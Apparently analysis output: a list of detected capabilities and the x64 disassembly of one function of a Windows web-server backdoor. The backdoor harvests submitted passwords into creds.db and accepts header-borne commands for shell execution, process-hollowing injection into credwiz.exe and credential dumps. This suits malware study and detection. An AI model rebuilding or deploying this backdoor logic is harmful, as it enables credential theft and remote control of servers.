Function at 0x1800018e0
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create process suspended
Decode data using base64 via winapi
Encode data using base64 via winapi
Execute shellcode via indirect call
Read file on windows
Resume thread
Use process replacement
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1040]
mov eax, 0x1140
call fcn.180011e30
sub rsp, rax
mov rax, qword [0x18001e008]
xor rax, rsp
mov qword [rbp + 0x1030], rax
mov rax, qword [rdx]
mov rcx, rdx
mov r15, rdx
call qword [rax + 0x18]
mov rdx, qword [r15]
mov rcx, r15
mov rdi, rax
call qword [rdx + 0x20]
xor ecx, ecx
mov edx, 0x9c40
mov r8d, 0x3000
mov r13, rax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [rbp - 0x68], 0x400
xor ebx, ebx
mov r10, qword [rdi]
mov rsi, rax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rbx
mov rdx, rsi
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x400
mov rcx, rdi
call qword [r10 + 0x80]
lea r14, [rbx - 1]
test eax, eax
jne 0x180001aa3
lea rdx, str.password
mov rcx, rsi
call fcn.180003144
test rax, rax
je 0x180001aa3
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, 0x800
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movzx ecx, word [rbp - 0x6c]
mov rbx, rax
movzx edx, word [rbp - 0x6e]
movzx r8d, word [rbp - 0x70]
movzx r10d, word [rbp - 0x78]
movzx r11d, word [rbp - 0x76]
movzx r9d, word [rbp - 0x72]
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x40], ecx
mov rcx, rax
mov dword [rsp + 0x38], edx
mov edx, 0x800
mov dword [rsp + 0x30], r8d
lea r8, str._02d__02d__04d__02d:_02d:_02d___s_r_n
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r11d
call fcn.180001820
xor eax, eax
lea r8d, [r14 + 2]
mov qword [rsp + 0x30], rax
lea rcx, str.C:WindowsTempcreds.db
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9d, [r14 + 3]
xor r8d, r8d
mov rcx, rax
xor edx, edx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
mov r8, r14
mov dword [rsp + 0x7c], eax
inc r8
cmp byte [rbx + r8], al
jne 0x180001a65
lea r9, [rsp + 0x7c]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x800
mov r8d, 0x4000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ebx, ebx
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov word [rbp - 0x80], bx
lea r8, [rbp - 0x80]
mov rax, qword [rdi]
lea rdx, str.X_Password
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je 0x1800020aa
mov rdx, rax
lea rcx, str.SIMPLEPASS
call fcn.1800120a0
test eax, eax
jne 0x1800020aa
mov edx, 0x9c40
lea r9d, [rax + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov edx, 0x9c40
mov r8d, 0x3000
mov rsi, rax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov word [rsp + 0x50], bx
lea r8, [rsp + 0x50]
mov r9, qword [rdi]
lea rdx, str.X_Chrome_Variations
mov rcx, rdi
mov r12, rax
call qword [r9 + 0x18]
test rax, rax
je 0x180002082
movzx edx, word [rsp + 0x50]
mov rcx, r15
mov r8, qword [r15]
inc edx
call qword [r8 + 0x90]
mov rax, qword [rdi]
lea r8, [rsp + 0x50]
lea rdx, str.X_Chrome_Variations
mov rcx, rdi
call qword [rax + 0x18]
mov r8, qword [r15]
mov edx, 5
mov rcx, r15
mov rbx, rax
call qword [r8 + 0x90]
mov ecx, dword [rbx]
lea r15, [rbx + 4]
mov rdi, rax
mov dword [rsp + 0x28], 4
mov r9d, 4
mov r8, rdi
mov dword [rax], ecx
xor edx, edx
lea rax, str.CMD
mov ecx, 0x800
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CompareStringA]
cmp eax, 2
jne 0x180001d63
xor edi, edi
mov dword [rsp + 0x60], 0x18
xor r9d, r9d
mov qword [rsp + 0x58], rdi
lea r8, [rsp + 0x60]
mov qword [rbp - 0x78], rdi
lea rdx, [rbp - 0x78]
mov qword [rsp + 0x68], rdi
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x70], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xorps xmm0, xmm0
mov dword [rbp - 0x60], 0x68
xor eax, eax
lea r9d, [rdi + 4]
mov dword [rbp - 0xc], eax
mov edx, 0x104
mov rax, qword [rbp - 0x78]
xor ecx, ecx
movups xmmword [rbp - 0x2c], xmm0
mov qword [rbp], rax
mov r8d, 0x3000
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x1c], xmm0
psrldq xmm0, 8
movd eax, xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
bts eax, 8
mov dword [rbp - 0x24], eax
xor eax, eax
mov qword [rbp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, r15
lea r8, str._c__s
mov rcx, rax
mov edx, 0x104
mov rbx, rax
call fcn.180001820
lea rax, [rbp + 0x10]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, str.C:Windows_system32cmd.exe
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x104
mov r8d, 0x4000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x78]
mov r8d, 0x1000
mov dword [rsp + 0x78], edi
lea rdx, [rbp + 0x30]
mov qword [rsp + 0x20], rdi
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x78]
test eax, eax
je 0x180001d53
mov ecx, ebx
add ebx, eax
add rcx, rsi
cmp ebx, 0x9c40
jae 0x180001d53
mov r8d, eax
lea rdx, [rbp + 0x30]
call fcn.180003fe0
xor edx, edx
lea rcx, [rbp + 0x30]
mov r8d, 0x1000
call fcn.180003780
mov rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x78]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x78]
test eax, eax
jne 0x180001d00
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000202e
lea rax, str.PIN
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
mov r8, rdi
xor edx, edx
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_CompareStringA]
cmp eax, 2
jne 0x180001d9d
mov dword [rsi], 0x474e4f50
jmp 0x18000202c
lea rax, str.INJ
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
mov r8, rdi
xor edx, edx
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_CompareStringA]
cmp eax, 2
jne 0x180001f41
xorps xmm0, xmm0
mov dword [rbp - 0x60], 0x68
xor eax, eax
lea rcx, str.C:WindowsSystem32credwiz.exe
mov dword [rbp + 4], eax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], eax
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x60]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x9c40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor ecx, ecx
mov edx, 0x9c40
mov r8d, 0x3000
mov rbx, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov dword [rsp + 0x78], 0x1000
mov rdi, rax
mov rcx, r15
xor eax, eax
mov r9, rdi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 1]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rcx, qword [rsp + 0x60]
xor eax, eax
mov qword [rbp - 0x78], rax
mov r9d, 0x9c40
lea rax, [rbp - 0x78]
mov r8, rdi
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x30]
mov dword [rbp + 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x30]
mov qword [rbp + 0x128], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rsi], 0x454e4f44
jmp 0x18000202c
lea rax, str.DMP
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
mov r8, rdi
xor edx, edx
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_CompareStringA]
cmp eax, 2
jne 0x180002002
xor edi, edi
lea r8d, [rax - 1]
mov qword [rsp + 0x30], rdi
lea rcx, str.C:WindowsTempcreds.db
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 4
mov dword [rsp + 0x78], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov r8d, 0x9c40
mov rdx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x78], edi
jne 0x18000202e
movsd xmm0, qword [str.No_Creds_Found]
movsd qword [rsi], xmm0
mov eax, dword [0x18001bdc0]
mov dword [rsi + 8], eax
movzx eax, word [0x18001bdc4]
mov word [rsi + 0xc], ax
movzx eax, byte [0x18001bdc6]
mov byte [rsi + 0xe], al
jmp 0x18000202e
movsd xmm0, qword [str.INVALID_COMMAND]
movsd qword [rsi], xmm0
mov eax, dword [0x18001be40]
mov dword [rsi + 8], eax
movzx eax, word [0x18001be44]
mov word [rsi + 0xc], ax
movzx eax, byte [0x18001be46]
mov byte [rsi + 0xe], al
xor edi, edi
mov dword [rsp + 0x7c], 0x9c40
inc r14
cmp byte [rsi + r14], 0
jne 0x180002036
lea rax, [rsp + 0x7c]
mov rdx, r14
mov r9, r12
mov qword [rsp + 0x20], rax
mov r8d, 0x40000001
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test rsi, rsi
je 0x180002082
mov rax, qword [r13]
lea rdx, str.X_Chrome_Variations
movzx r9d, word [rsp + 0x7c]
mov r8, r12
mov rcx, r13
mov dword [rsp + 0x20], edi
call qword [rax + 0x28]
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rbp + 0x1030]
xor rcx, rsp
call fcn.1800020f0
lea r11, [rsp + 0x1140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret